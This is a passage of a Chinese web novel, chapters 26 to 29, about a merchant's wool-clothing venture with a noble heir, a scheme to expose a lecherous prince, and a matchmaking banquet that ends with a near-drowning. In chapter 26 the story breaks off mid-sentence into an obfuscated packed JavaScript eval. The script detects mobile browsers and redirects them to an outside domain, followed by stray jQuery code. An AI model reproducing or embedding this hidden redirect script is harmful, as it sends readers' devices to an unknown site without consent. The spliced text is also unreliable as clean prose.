这一院子七八个娘子郎君个个巧手,许是以前编线活计做的多了,灵光乍现弄出新针法织衣都不过时间问题。 每成一件样衣,尚南枝都大方的给出十贯奖励,院中做事的娘子郎君哪里一口气挣过这样多钱,恨不能铆足劲继续弄出新针法织衣裳。 不过就是没有想出新针法也不碍事,若能有学有样的织出样衣的衣裳,也都是给钱的,多劳多得。 街坊四邻有不少听说这活计,都遣人过来打听看能不能也跟着做,一月光是底薪就近一贯,哪个不眼红。 不过听尚二娘子的意思,人手是还要招的,但什么时候招还没给出章程,只盼尚二娘子先给她们通通风,等回头告诉交好的亲戚朋友趁早过来面试,也是一份人情。 26.第 26 章 金玉满堂三楼包房。 谢琅正有一下没一下的用折扇敲手心,自打听完有钱和尚东家说的生意他就一直这个样,其实也不怪谢琅如此心不在焉。 实在是这门生意的确很大,世家出身,家底有多少金银财宝都不如粮食布帛来的有底气,羊毛织成衣裳,与布帛效果无差,若真做起来,必然会对布帛生意有冲击。 当然了谢家要做这门生意,皇帝来了也得让路,他却是不怕其他世家知晓了报复,毕竟大家伙怎么发家的,私下里都是门清,真亮刀子,该怕的是其他人。 本来是天大的好事,偏偏这事是有代价的。 “有钱你应该没有掺和夺嫡之事,对吗?”谢琅虽不怕诸位皇子,但也不轻易得罪,他到底不是谢家下任家主,该有的分寸还是要有的。 “我与诸位皇子又没有关系,如何掺和进他们的事?” 谢琅的确是个聪明人,代价还没开口就已经想到最坏的地步。 “那尚东家?”尚柒的底细谢琅还不清楚,只晓得打西南过来,做药材生意,于地方上或许是地头蛇的存在,这样的人会和长安城的皇子扯上什么关系。 “我不过西南边陲做买卖的生意,自然掺和不进这样的大事,不过……” 凡是就怕不过,谢琅心里已经有了猜测,虽然和夺嫡没有关系,但多半跟哪位皇子有关,不然为何要他谢家身份做挡箭牌。 “尚东家,生意已经说完,代价也就不要藏着掖着了,既然不牵扯夺嫡,代价我还是付的起。” “既然谢少爷如此爽快,我的确也不该扭捏,前些时候我的马车在长安街市走动,巧遇一群五菱年少当街纵马,与人横冲直撞,事后查明这群人背后是齐王挑唆。” 蔺家的事别此云和尚柒都心照不宣的没提。 “齐王,却也不是新鲜事,齐王自己也没少在长安城内纵马,不过有萧氏站台,御史台的御史们都不愿意为了这点小事得罪萧氏。”谢琅对齐王的印象不好,本就是顶级世家门阀,知道外人许多不清楚的内幕消息。 “不光纵马,齐王好美色,当街强抢美人不可计数。”别此云适时接话。 “好啊,绕来绕去,你们想借此教训齐王。”别此云话落,谢琅已经明白两位的主意,先不说二位身份到底是谁,但吃了齐王的亏竟不准备忍气吞声,而是想法子给齐王吃个教训,这脾性就对了谢琅的胃口。 “能不能教训齐王,要看谢少爷愿不愿意搭把手。”尚柒已经确定谢琅多半是觉得此事有趣了,现在哪怕不让谢琅掺和羊毛生意,谢琅多半也愿意在教训齐王的事上添砖加瓦。 “这么有趣的事,我自然帮忙。”只是给齐王一个教训,也不是要把他从王位上赶下来,便是齐王真知道背后是谢家搞鬼,他还能拿谢家开刀不成? “具体你们打算怎么做?” “强抢民女一事从未东窗事发,因为苦主大多都不知道背后是齐王的手笔,加上齐王位高权重,一般人家也不敢正面和齐王对上,所以我们准备让这件事闹大。” 或许在皇帝眼里,死几十个人和几个人没什么区别,但真闹到台面上,不给满朝文武百官一个交代,只怕过不去。 “是个好主意,而我要做的就是帮忙将此事在长安城传开,对吗?” 尚柒点头,计划本也不复杂,唯一需要担忧的就是事后萧氏和齐王想要抓住背后流言的散布者。 谢琅替他们出面,齐王和萧氏要么查不出来,要么查出来也不敢轻举妄动,反而还要思考是不是自己哪里没做对得罪了谢氏。 “不是难事,代价我接了,什么时候开始生意。”哪怕教训齐王这样的大事也只能吸引谢琅片刻主意,最后话题还是来到了生意上。 “谢少爷什么时候有空都可以。” “那就订明日,近来我都闲的骨头发懒,正好寻些事情做。” “可,明日宣义坊见。”尚柒也不推脱,宣义坊南枝说已经开始陆陆续续的准备招人手,有谢琅出面,一期工程说不定还能扩大规模。 到底现在有谢家做靠山,再小打小闹岂非是小气了。 送走谢琅,别此云和尚柒不得不说松了口气,谢琅到之前他们可是想过谢琅当真不愿意他们该怎么强买强卖的计划。 “谢琅此人的确可以深交,但你的身份万不得已还是不要泄露给他。”尚柒和谢琅打了一次交道,只摸清了一半谢琅的风格,这位谢少爷绝不是表里如一的人。 “我清楚,谢琅答应出手,多半会遣人去查蔺家和齐王的事,当初给几位皇子放消息,知道蔺家勾结边境之事的人不多,却也不是一个没有,若是谢琅查到蔺家的事,计划可能会有变。” “谢琅查不到,蔺家的事藏的很深,几个皇子知情也必不会走漏风声,哪怕齐王挑唆蔺家子当街纵马的事抖落出来,外人也只当齐王想借此机会给蔺家使绊子,绝计不会想到蔺家背后还背着这么大一个雷。” 这雷广运帝都不知道,想来再有不久,各皇子去西南的人就该抓到人证,到时候人证到长安,必然会掀起一场腥风血雨,也不知广运帝的身子骨撑不撑的住。 “还是要谨慎些。” “难得要你劝我谨慎,不过也有道理,我会尽快办齐王的事,只要被揭发的速度够快,谢琅就没有时间深挖。” 到了这里,事情差不多算说完了,天色也不早,别此云该回府了。 只是人要走的时候,尚柒突然开口。 “为何要给自己起一个有钱的名字?”倒也不说俗气,现代人哪个不想有钱,账号昵称叫自己有钱的多了去了,但没几个会取这么个名叫人当面称呼。 “不是我取的。”说起这个名字,别此云哪怕带着帷帽也能看出他表情的无奈。 “谢琅取的?” “嗯,先前他还叫我财神爷。”名字不过代号,别此云虽然略有不满,但也随谢琅去了,左右也不会掉块肉。 “好吧,之后有谢琅的场合,我都要称呼你为有钱公子了,想来日后若还有合伙人,你这名字定能声名远扬。” “你高兴就好。”别此云不理尚柒的打趣,早知今日,谢琅提出叫这个名的时候他就该一口否了。 满目含笑的目送别此云离开,尚柒又做了一会才往楼下走,已经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424310|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了正午的饭店,金玉满堂的包房也依旧热闹,可见打金玉满堂开门后,一整日都没闲下来的时候。 也巧,尚柒往下走,楼下也上来一群富家子弟,为首的青年身着大红金丝镶边的锦缎,腰间的缎带镶有上等和田玉,金冠束发,不必想就知此人背景不简单。 好在金玉满堂的楼梯足够大,尚柒也只一个人,交错间两方人并未有什么交集冲突,想来对方也不见得把尚柒放在眼里。 不紧不慢到了楼下,马车正停在酒楼口,张阿大见到东家,快几步将马车赶过来。 “方才进酒楼的富家子弟,可知道底细?”尚柒踏上马车,问了一句。 “回东家,我瞧着他们过来的马车,规格许是王爷才能用,那群人下马之后,我又听得两三少爷喊为首的青年殿下,多半是哪位王爷。” 张阿大跟着东家在长安跑了不少地方,要问长安坊市之类的他还能对答如流,问起长安的权贵,就有些力不从心了,毕竟这活都是冯风在做。 这小子识人不忘,东家没吩咐的时候几乎带着手下的弟兄在整个长安晃悠,多半已经弄清楚不少权贵的相貌。 “王爷,倒是巧了。”才在金玉满堂定下对付齐王的计划,就遇上一位王爷,若此人就是齐王,也不知算不算自投罗网。 —————————— 别此云回到府里,还未到梧桐苑,就收到院子有人在的消息,可见今日他偷溜出府的事还是被他娘抓了个正着。 不过常在河边站哪有不湿鞋,别此云早有准备被发现,所以并不心虚。 果不其然,一踏进梧桐苑,就见院子的石桌旁正坐着苏怡然,院里的侍人也都恭敬在两旁站着,怕是已经被询过话了。 “娘今日怎么到我这里来了?”别此云走过去,像是看不见苏怡然脸上的黑气。 “我若不是心血来潮过来,尚且还不止府里的公子竟然不在家。”苏怡然今日本是有人请她去做客的,半道遇上点事做客也就不了了之,如此回到府里,正好打算见一见躲她的哥儿,哪想到了梧桐苑,人影都没有。 “娘说的哪里话,我又不曾犯错禁足,如何不能出门?” “你常年在道观,回家的时间屈指可数,往年在家连家里举办的宴会都不乐意参加,今儿反常出门,我这个做娘的还问不得?”事出反常必有妖,苏怡然怕自家哥儿被哪家不要脸的哄骗了去。 “只是在家呆的久了,闲来无趣出门走走。” “当真?” “当真。” “那好说,此云嫌家里无趣,过两日正好有场赏花宴,你同我一块去,且放心,宴上只有姑娘哥儿和娘子郎君。” “娘做主就是。”别此云知道不能继续推脱,不然他娘该是要生气了。 “红酥,去绣房取公子的新衣裳过来。”苏怡然吩咐完人,又叮嘱自己哥儿,“衣裳是前几日吩咐人做好的,正是长安公子流行的款式,明日你就穿它赴宴,不许再敷衍了事。” 别此云漫不经心的嗯了一声,看来他娘有看好的人家了,今日就要让书墨那头动手查一查,不然可不好搅黄这门好事。 27.第 27 章 宣义坊。 尚柒和谢琅碰头,便赶着马车往尚家租的仓库去。 尚南枝忙了这么长时间,仓库早就大变样,连带着纺车都已经从木匠那头取来安顿好,只要招来人手,库房里囤积的羊毛就能消耗一空。 “料子摸起来粗糙,比不上锦缎。”谢琅的衣裳都是好料,手里没做布帛生意,说不定麻布都没见过。 “本也不指望贴身穿,冬日穿在中衣外面,再穿一件厚外衣,便不惧严寒。”尚柒解释,长安的冬日冷也是冷的,但和北方边境比起来,又差上许多,羊毛的确暖和,身体好些的汉子穿三件衣裳走动,都得出汗。 “这样的衣裳富贵人家的路子不好打开,但在百姓间销量应该不错。”世家的人都是死要面子活受罪,凭羊毛的粗糙程度,再保暖也撑死了当个毡毯。 “羊毛粗糙的确不受富贵人家喜爱,所以我也没打算做上层市场。”世家的钱好赚不错,但长久生意还是要面向百姓。 薄利多销,衣裳又比粮食好,哪怕运去天南海北,只要不遇上劫匪,都没什么损耗。 谢琅是认可这门生意的,他可一点也不小觑平民生意。 “其实你要想做富贵人家的生意,我这里也有一条路子。”尚柒见谢琅兴致缺缺,多半是认为自己在羊毛生意上插不上手,既然确定是合作关系,尚柒不介意再给谢琅早点事做。 “哦?说来听听。” “若论保暖,除去羊毛,鹅鸭身上的绒毛更甚,谢少爷要是能大规模养殖鹅鸭,想来富贵人家的门路也可以打开。” 鹅鸭尚柒在西南也有养,规模不算小,但一只鸭身上二两绒都没有,一年到头攒下来的鹅绒鸭绒自家都不够用的,自然没打算做这门生意。 “鹅绒鸭绒,此前倒是没听说,若真如尚东家所说,或可以试试。”谢琅将信将疑,不过在认识尚柒之前,也没见哪个把羊毛织成衣裳,鹅绒鸭绒成衣,不是天方夜谭。 尚柒点头,也完全不意外谢琅不知鹅绒鸭绒,这等富贵堆砌出的少爷,连鸡毛店是什么都不知道,指望他认识鹅绒鸭绒,还不如指望他能分清楚鹅鸭。 参观过尚家简陋的小作坊,谢少爷大手一挥斥巨资要扩大生产线,自然了,谢少爷掺和进来,除去给钱,自家人手也不会少派。 既然都有谢琅的人掺和进来,尚柒觉得该叫别此云也派几个人手一块管着,三角形具有稳定性,在生意上尤甚。 …… 别此云昨日才被他娘捉了个现行,今日自然不会顶风作案再出门,不过他也的确不需要出门,尚柒和谢琅要谈的生意他没有插手,跟过去也是当背景板。 “公子,书墨传消息回来了,是蒲州柳氏的嫡出少爷,单字一个确,行九。”琴砚得了门房的消息,匆匆回到梧桐苑,见公子正在池边坐着喂鱼,凑近小声汇报。 “蒲州柳氏。”别此云手里喂鱼的动作一顿,虽说时下流行高嫁,但就门第而言,别家和柳氏差了不止一星半点。 别家是鲤鱼跃龙门的世家新贵,柳氏是与萧谢齐名的老牌世家,这些老牌世家一向是眼高于顶,嫡系更是连皇家都看不上。 一般都是内部消耗,别家要想结亲也不是不可能,但多只能攀上旁支,或是嫡系的庶子庶女。 柳确其人别此云没有听说过,但也正常,柳氏嫡系都在蒲州,不似萧氏和谢氏一半搬迁到长安,长安城里的柳氏只是蒲州柳氏的旁支。 “此人到长安了吗?” “到了,听闻有意要入仕,刚在长安柳氏的宅邸安顿。” 大历已经不再如日中天,朝廷也没什么空位,世家子弟想要入仕,多也要走科举一道,不过和寒门庶民比起来,世家子弟参考,身份越贵越板上钉钉。 柳确是柳氏嫡系,中央地方都有人经营,只要他愿意参加科举,朝中官位必有他一席。 “还打听到什么消息?” “于长安没打听出什么消息,此人入长安后未曾结交应酬,连出门的次数都极少,公子想要知道更多消息,可能要遣人去一趟蒲州。” 琴砚也觉得奇怪,一般地方过来的大世家子弟,到长安后都会接触一些长安本地的世家子弟,凭借柳氏的地位,要融进长安的圈子并不难,但这位柳少爷却是一副两耳不闻窗外事,一心只读圣贤书的模样。 “没打听出他定没定过亲?”其他消息也就罢了,柳确这个年纪,又是柳氏嫡系出身,就是成亲也不奇怪,不可能没有定亲。 “不曾听闻,柳家把消息捂的紧,或许其中有什么文章。”只是琴砚觉得恐怕文章不大,夫人看上柳确,哪怕是柳氏高门,也绝计会把人查个底朝天。 柳确若在婚事上真有什么首尾,单是夫人那一关都过不了。 “算了,也不急,派人去蒲州一趟。”左右宴会多半也只见一见柳氏在长安这支的主事人,他娘真要把他和柳确凑一块,肯定要安排他们见面。 “公子,我瞧夫人这次势在必行,定要为公子寻一门好亲事,夫人瞧上一个公子搅黄一个也不是办法,还是要想想如何一劳永逸才是。” 琴砚知公子抱负远大,这点私情小事不该阻碍公子步伐。 “一劳永逸?我也想。”别此云将手里剩下的鱼食撒进水里,只见几条金尾鱼争相从水底冒出抢夺,深陷长安做什么事都难免束手束脚,真到了没办法的地步,只能想办法离开这里。 —————————— “甜品屋的糕点就是比其他糕点铺的要好吃,但太贵了,我自己每月的零花都买不了几次。”苏长屿又混到尚府玩了,自打认识了尚乌桕,他可是想尽办法从家里跑过来。 实在是家里也没有其他小孩,他一个人孤孤单单,也亏得尚家和他们家关系不错,不然他阿耶肯定不答应他上门玩闹。 “阿兄说糕点吃多了坏牙,你就是有钱也不能日日吃。”尚乌桕坐在秋千上晃悠,这秋千是让守义哥趁夜里有空扎的,比家里的秋千小不少,但人在外地也不该强求太多。 “唉,阿耶和身边的嬷嬷也是这么说,不过家里的饭菜是越来越好吃了。”自打他们家的厨娘上门学艺后,他每顿都要多吃半碗饭,身上的肉都更结实了。 “你没吃过更好的,我家里做饭的胡娘 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“你们读书人不是喜欢游学吗?等你长大了就对你爹和阿耶说要去游学不就行了。”尚乌桕别的本事没有,歪主意一大堆。 “好办法,我记下了。”苏长屿学着小伙伴夸奖时的手势,用右手比了个厉害的姿势。 “对了,你在长安这么久,有没有认识姓别的人家。”尚乌桕打清闲观回来,对这个别公子可是抓心挠腮的想知道,但他又不认识几个长安本地人,更不说大海捞针捞一个只知道姓氏的哥儿。 “别姓?好像阿耶认识一位别府的夫人,不知道是不是你要找的。” 赵厢为了夫君前程,几乎长安大大小小的宴会都是去的,凭借赵府培养的社交手段,也在娘子郎君中混的开。 苏长屿年幼,有时也会被带去宴上,有喜欢孩子的娘子郎君总会过来逗一逗,为此他也认识几位和他阿耶交好的娘子郎君。 “是哪一家?” “具体我也不怎么清楚,我只听闻别府的老太爷是当今太子的太傅,我阿耶还想送我去别府念书。” 别家文名盛,家里子弟也都是由长辈教导开蒙,不少世家子弟都想把自己孩子送到别府名下读书,但自打别府老太爷当了太子太傅,大部分人为了避嫌都不再提此事。 苏家门楣低,就是避嫌也避不到他们头上,唯一要担心的就是苏府够不够的上别府的门栏。 “你这样说我也不知道是不是。”尚乌桕愁眉苦脸,他连这位别公子的面都没见过呢。 苏长屿挠了挠头,想了主意。 “后日有个宴会,我阿耶要去赴宴,听闻那位别府夫人也要来,到时候我可以让阿耶把我们带上,你亲自看看不就知道了。” “那也没用,我都不认识什么别夫人。”尚乌桕摇头,“再说,这样的宴会我的身份可不合适。” “这次宴会宴请的都是内宅的娘子郎君,不计较身份,也有许多娘子郎君会带自家孩子过去,我就被阿耶带去过几回,不妨什么。”苏长屿可是义气满满。 28.第 28 章 尚柒回府,就见尚乌桕面露纠结,连一旁甜品屋的糕点都没吃完,可见是遇上麻烦事了。 “有什么我能帮忙的?”身为兄长,尚柒对弟弟妹妹并不严苛,但也不过度溺爱,真要是什么麻烦事,他这个做兄长的没道理袖手旁观。 “苏长屿请我后日跟他去赴宴,说是内宅娘子郎君准备的小宴。”尚乌桕没问阿兄让不让他去,反正问起来肯定是不让,不如直接跳过这一步。 “怎么突然想参加宴会?”尚柒可没有打算让弟弟妹妹掺和长安娘子郎君宴会的打算。 “之前一直听苏长屿说宴会好玩,我就想去瞧瞧。”尚乌桕继续装可怜,他知道阿兄没一口否决,那就有转圜的余地。 情况也的确如尚乌桕所料,尚柒被说动了。 “去也可以,不过我得先去苏府问问,若赵郎君不方便带你,不许闹。”苏家先有求于他们家,之后关系往来一向不差,只带孩子去宴会见见世面其实不算大事,就怕赵厢认为是他们家借苏家当跳板,连带以后邻居都没得做。 “阿兄最好了。”尚乌桕连蹦带跳的扑过来抱住尚柒,如果不是尚柒常年习武下盘扎实,这跟炮弹似的一撞,保管得摔个四脚朝天。 安抚好尚乌桕,尚柒着人去库房取了些东西,登门拜访总不好空手去的。 而苏府,赵厢也被自家儿子缠的没办法,要说听到儿子求他带隔壁小哥儿赴宴,心里没想歪是不可能的。 尚家经商,只有一些穷酸门楣的读书人能看上,这时候把自家小哥儿推到宴上,难不成还指望有娘子郎君能看上不成。 “阿耶,我可是请了乌桕好几次乌桕才答应的,你不能让我食言。”苏长屿无师自通撒泼打滚,得亏长得虎头虎脑,瞧着可爱,不然只等吃一顿竹笋炒肉。 “既然乌桕以前拒绝,现在又怎么答应了?”赵厢就怕自己傻儿子被骗还帮人数钱。 “自然是这次阿耶你说去的都是内宅的娘子郎君,乌桕才愿意去的。”苏长屿喋喋不休的说着他请尚乌桕好几次被拒绝的事。 赵厢听了许久,迟疑了片刻又问:“乌桕可曾定亲?” “没听说过,不过乌桕说他要跟着尚大哥学医术,没出师前都不会考虑亲事,不光乌桕,南枝姐姐也是呢。” 是了,尚家除开尚乌桕,还有个尚南枝,若真相攀高枝,尚南枝的年纪明显比尚乌桕合适,或许真的是他想多了? “郎君,隔壁尚府的大少爷过来了。” “请人进院里说话。”赵厢捏了捏儿子脸,真是生了个冤家。 说起来,尚柒还未曾和苏家主夫见过面,若不是家里小的常来往,尚柒多半是和苏家做个表面和睦的邻居,不会深交。 赵厢过来的时候,头一眼先瞧着厅房坐着的尚柒,他也是打听过尚柒的消息,但今个儿一见,却也不免眼前一亮。 要说京中的好儿郎他见过不少,尚柒不过商户出身,论相貌气度竟然不比京中一些大家族出身的儿郎差。 若非他早清楚尚柒来历,还道尚柒是哪家的富贵子弟呢。 “赵郎君。”尚柒见人过来,起身行礼。 “原说闻名不如见面,早前一直有闻尚东家的事,今日终于有机会得见。”赵厢也是世家出身,世家人都有个毛病,那就是喜欢脸好看的。 “初到长安事务繁忙,一直没能寻到机会登门拜访,是我的不是。” “尚大哥,你是不是来商议乌桕去宴会的事。”苏长屿熟稔的跑到尚柒跟前,因为墙头救他的事,他和尚大哥关系很不错的。 “的确是来说此事的,乌桕年幼不懂规矩,若你们当真想一块玩,日后有的是时间,宴会就算了。” “可是,乌桕好不容易才答应我。”苏长屿满脸失落,原以为尚大哥是过来劝他阿耶的,结果反倒是劝他打消念头。 “宴会都是生人,你们去了只怕也玩不尽兴,不如之后得空,我带你们去长安城外走走。” “尚大哥你此话当真?”比起去无聊的宴会,肯定还是出城更吸引人,若是尚大哥愿意带他出城,宴会去不去也无所谓了。 “当真,不过此事也要你阿耶同意才行。”尚柒三言两语打发了苏长屿,看的赵厢连连惊叹。 他这个儿子,什么时候这样好说话了。 “赵郎君,小孩童言童语不知轻重,宴会的事还请别放在心上。”和苏长屿谈完,尚柒面带微笑的和同赵厢搭话。 “尚东家哪里话,我膝下只长屿一个孩子,平日也没个玩伴,打尚东家搬来后,两个孩子能玩到一块,也是缘分,不过是孩子们闲的无聊,去宴会上开开眼,哪里值当一句不知轻重。” “乌桕自幼在山间长大,一向野惯了,也未曾学过什么规矩,真要是让赵郎君带去宴会,恐怕会丢了赵郎君颜面,他年岁小不知事,我身为兄长却不能不知事。” “小孩玩闹,哪里就上升到颜面,从前我家小子一向不喜宴会,今儿特意告诉我愿意去宴上,我哪里有不答应的道理。 尚东家且放心把弟弟交给我,不然我哪里好意思让自家小子再登门扰你清净。” “这……” “尚东家且放心,后日的宴会都是郎君熟人,宴上也有许多娘子郎君带孩子去,对外只说乌桕哥儿是老爷家表情,不妨什么。”赵厢身边的李嬷嬷也搭话,叫原本迟疑的尚柒都不好再开口拒绝。 “如此,劳烦赵郎君了。”尚柒应下。 “不过举手之劳,尚东家哪里的话。” 一场寒暄结束,尚柒便告辞离开,原本以为不能去宴会的苏长屿长着嘴,也不知道为什么阿耶就突然改变了主意。 “还当他们家想要攀高枝,原是我想多了。”赵厢揉了揉儿子的头。 “长安城里想攀高枝的人比比皆是,如尚东家这样的才是少数,郎君一时相差了也是正常的。”李嬷嬷搭话,他们一路过来,起先从丫鬟那里得知尚柒携礼上门,还以为是用来讨好郎君,以便叫郎君带他们家的小哥儿去赴宴。 哪想人家一过来就道自家孩子不懂事,这礼也不是什么用来讨好人的,反而是谦礼,能为小 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前来赴宴的娘子郎君也多是熟人,来的早的三三两两聚集在一块说着家常闲话,有带孩子的,也都叫伺候的人将孩子聚拢在一块玩,自己偷懒躲嫌。 赵厢带着两个孩子到的时候,人已经来的七七八八,来之前他特意嘱咐了苏长屿照顾好尚乌桕,真到了地方又担心尚乌桕融不进孩子们玩闹的圈子。 只是他也不好特立独行,又细细叮嘱了一番又叫李嬷嬷跟着才不放心的去了娘子郎君一方。 “日头是越来越热了,孙府去岁该是囤了不少冰,宴上竟然一点热气都没有。”世家年年冬日会囤冰夏日用已经是老习惯了,但小一些的世家,也只有主人家日日有冰盆驱热。 “说不得是要讨好谁呢,往日孙家开宴也没见这么大方。” “讨好谁?” “你没听说,今日宴上请了柳家的人。” “柳家怎么了?往日宴上也没少见柳家人过来。” “此柳家非彼柳家,长安城里的柳家不过蒲州柳氏的一脉分支,我说的柳家是蒲州柳家人。” “可没听说蒲州柳家的主母到长安了?” “来的低调,除去柳家的主母,还有一位柳家的嫡系子也到长安了,说不得今日就是为这位柳氏子相看的。” “柳氏相看能看上你我这等门第?今日萧谢王崔可没来人。” “这谁料的准,没见宴上多了些生面孔。” 生面孔别此云入宴后,依旧一副孤立所有人的性子,不紧不慢的坐在一旁饮五色饮,左右他答应他娘过来是闲来无事,可没听说要来宴上见什么人。 “今日别府只来了主母和一位公子,有你认识的吗?”苏长屿偷偷摸摸的和尚乌桕搭话。 “不认识。”他就是认识书墨哥哥,但跟着这位别府公子身边的哥儿不是书墨,可能找错人了。 果然大海捞针,本也不该抱什么希望。 “别灰心,我们多找几个总能找到。” 29.第 29 章 但很快尚乌桕和苏长屿就没心思关注宴会上的事,凭借尚乌桕活泼开朗的性子,在一群未满十岁的孩童中间,可算是游刃有余,不论小哥儿还是小丫头,甚至小儿郎都被他治的服服帖帖,不多时就隐隐要混成小孩群里的老大。 连带着小弟苏长屿也沾了点光,平日他来宴上,可跟其他孩子说不上话,今儿都凑到他跟前,便不是想跟他搭话,也会说上几句,比以往的宴会有意思多了。 小孩们的世界吵吵闹闹,大人们的世界却正暗涛汹涌。 自打柳氏主母赴宴的消息传出来,那些个带了姑娘哥儿一块过来的娘子郎君都悄悄吩咐下人叮嘱自家孩子好好表现。 虽不知柳家主母看上了哪家公子贵女,但只要人没定下大家伙不都有机会,反正瞧着在场的也没谁是大世家出身,即没有谁更高人一等,凭什么自己孩子不行? 别此云坐的位置偏僻,将宴上诸位的举动瞧得一清二楚,这位柳确面都没漏,就跟个香饽饽似的引人争相抢夺,若不是知道是个世家嫡系出身的公子,还当是什么国色天香呢。 也就在此刻,万众瞩目的柳家主母终于是到了,按自家夫君官位算,在场也不是没有比柳家高的,但往日里心高气傲的娘子郎君都放低姿态起身迎接,可知天下又渐渐回到世家手里了。 只是柳家不止一人赴宴,除去柳家主母,身边还跟了个相貌俊俏的小哥儿,瞧着约莫十五六,许是柳家小辈。 别此云瞥了一眼琴砚,却见琴砚轻微摇了摇头,示意不知道此人的存在。 等柳家主母入宴,宴会更是热络起来,原本闲谈的娘子郎君也都纷纷同柳家主母搭话,一时气氛好不快活。 别此云又瞧了一眼他娘,表情不是很好,估摸着这相看的事要吹了,也不打算继续留在场地看戏,悄摸带着琴砚离场透气。 宴上走动的公子贵女不少,只是柳家主母到之后,大部分人都被自家娘亲阿耶喊了回去,在柳家主母跟前露个脸,于是别此云一路走来,竟一个人都没撞见。 “那头做什么吵闹?”别此云离宴会远了些,耳边传来轻微的嬉戏声。 “许是宴上娘子郎君带来的小孩。”要说小孩玩闹,不该离主宴厅房太远,不然闹出了事,家长都不能尽快赶过来。 偏今个儿走了这样远才听见嬉闹,大抵是孙家知柳家主母要来赴宴,怕扰人清净,特意安排了较远的院子。 “小孩,算了换个方向。”别此云不太喜欢小孩,真要是撞见一堆孩子,光看着就头大。 正和小孩玩捉迷藏的尚乌桕可不知道自己心心念念的别公子与他擦肩而过。 宴席过半,原本聚拢在一处厅房的娘子郎君也都陆陆续续散开,倒不是她们不想继续搭话,而是柳家主母态度一直不咸不淡,许多人见相看无望也不打算继续热脸贴着冷屁股。 苏怡然没走,面色却也不大好,要说给自家哥儿寻个青年才俊做夫婿那肯定是极好的,且今日把此云带过来先过柳家主母的眼,也都是有中间人牵线搭桥,柳家主母万不该是这个态度。 要么是中间人骗了她,要么就是柳家人瞧不起他们别家,故意摆脸色。 低娶高嫁,总是有人要受委屈,苏怡然连今日的气都受不过,更不可能要自家哥儿去别家受气。 结亲的事在她这儿作罢,自然待人的态度也开始意兴阑珊,哪想柳家主母带来的娘家哥儿不依不饶,当着苏怡然的面提起别此云,说是在老家听闻别家公子的名声,想要见见。 “苏夫人今日是带来自家哥儿过来的,只是宴上没见着人,许是去其他地方游玩了。”有人也看出苏怡然的打算,不对付的娘子郎君自然也开始找苏怡然不自在。 “叶小哥儿说笑了,我家哥儿因为身体不好常年在道观修行,哪里有什么厉害的名声。”苏怡然回了叶小哥儿的话,又不咸不淡的看了一眼方才接话的娘子,把人看的讪讪闭嘴,才算了事。 “栖儿,满屋都是长辈,你一个小辈留下作陪难免不自在,也去外面走走。”柳家主母发话,叶栖只小声应了就出门去。 小辈一走,还能留下套近乎的娘子郎君自然是越发大胆,甚至都有过问柳确的,但都被柳家主母三言两语打发了,半点看不出要给人相看。 而出门的叶栖也没有瞎逛,仿佛认准了别此云,非要见一见人才算作罢。 孙家招待客人的地方不小,但也不算大,叶栖只多走几个地方自然就遇上了别此云,他自然是不认得别此云的,架不住孙府伺候的下人认识。 这头别此云尚嫌的无聊问孙府的下人要了鱼食喂鱼,那头就见一个小哥儿目标明确的走到他跟前。 按年岁,别此云要大一年岁,又因为是北方人,个子也高,虽然比不过儿郎,但在哥儿里是拔尖的。 “你就是别家的公子?”叶栖的语气说不上好也说不上不好,反倒是打量的目光引的别此云偏头瞧了一眼。 叶栖的身份在宴会上他就弄清楚了,出自涿州叶氏,叶氏按资格也比的上时下几大世家,奈何大历建国后,叶家子弟少有出息的,门第渐渐比不上柳萧谢王崔五家,但百足之虫死而不僵,叶氏再没落也稳占世家第六的排名,一般小世家还是碰不上瓷。 “你为何不答话?”叶栖被看的后脊发凉,这样的眼神他只在父兄身上看到过,眼前的哥儿如何有他父兄那等气势。 “叶公子见谅,我家公子昨日感染风寒,嗓子不舒服。”琴砚适时出来解围,他家公子一向是话不投机半句多,叶栖在他家公子这儿怕是没有好印象。 “既生病了还要赴宴,你就这样想嫁我表哥。” “你表哥是谁?”别此云转过头,继续不紧不慢的向鱼塘撒鱼食,殊不知这句话像是点燃了炮竹的引线,叫叶栖怒火中烧。 “你不必在此装模作样,今日宴会你为何回来你我心知肚明,但我告诉你,世家门第不是那么好攀的,别家还够不上柳家的门第,我表哥也绝计不会喜欢你。” 把他当情敌来警告,别此云有些无聊的想,十五六的哥儿心里只有这些事吗? “你听没听见我说话?”叶栖头一次被冷暴力,气的眼眶通红,长安的公子怎么这点礼仪都不讲,不知道别人说话不回答是不 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“这才过去几日?尚柒上次开的药该还没吃完才是。”别此云算算日子,觉得不对。 “像是药起了效用,大少爷想再请尚东家过来看看。” “回去问问阿兄那边的情况再说。”别此云对医术不怎么了解,也不知药效会不会那么快,但尚柒到府上来,肯定比他出府更方便。 正想着,一阵轻微的喧哗过风入耳。 “公子,我去看看情况。”琴砚步履匆匆的离开,别此云皱了皱眉,将手里的鱼食都扔进水里,也快步过去。 这类宴会出事的概率说大不大,说小不小,有不少坏心眼想攀高枝的儿郎最喜欢这样干,毁人名节,娶人为妻。 但今日来宴会的儿郎最大不过十岁,就是天赋异禀有这个心思,这招使出来也没用。 等靠近,别此云眼力极好的看见水里有人扑腾,岸上围了不少姑娘哥儿,大部分被吓的面色发白,但一个下去救人的都没有。 琴砚是会水的,见人落水,周围没人下水,多半都是旱鸭子,回头看了一眼公子,得了公子点头,就下水捞人去了。 扑腾的人动作已经不如之前激烈,想必呛了不少水。 “孙府的下人在哪里?”别此云走到岸边,目光落在几个丫鬟身上,听到别此云说话,匆匆跑过来。 “搭把手,把人拉上来。” 几个丫鬟如梦初醒,看见下水的人已经把落水的人带到岸边,纷纷伸手拉人上岸,真要是有主子在孙府出了事,她们必然没有活路。 琴砚上岸后,才发现落水的是叶栖,只是人现在面色发白,已然不省人事,甚至从人胸膛起伏的弧度能看出呼吸已经很微弱了。 “公子,这?” 别此云脸色也阴沉下去,他不会心肺复苏,但眼看人不行了,只能先死马当活马医。 